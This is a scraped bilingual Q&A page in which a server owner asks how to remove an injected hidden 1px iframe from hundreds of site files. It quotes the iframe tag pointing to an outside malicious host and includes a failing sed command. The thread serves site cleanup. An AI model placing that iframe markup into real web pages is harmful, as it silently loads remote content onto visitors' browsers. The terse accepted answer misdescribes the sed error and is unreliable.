寻找从linux服务器删除iframe恶意软件的脚本 [英] Looking for script to delete iframe malware from linux server
本文介绍了寻找从linux服务器删除iframe恶意软件的脚本的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
我正在寻找一个脚本来从我的linux服务器中删除以下iframe恶意软件:
I'm looking for a script to delete the following iframe malware from my linux server:
<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>
它已经感染了我的服务器上不同网站上的文件的hundreads。我试过了
It has infected hundreads of files on my server on different websites. I tried
grep -rl ishigo.sytes.net * | sed 's/ /\ /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>//g'
但它只输出:
sed: -e expression #1, char 49: unknown option to `s'
感谢您的帮助:)
干杯
Dee
Cheers Dee
推荐答案
从sed正则表达式的url中取消反斜杠。
Unescape the backslashes from the url in the sed regex.
这篇关于寻找从linux服务器删除iframe恶意软件的脚本的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!
查看全文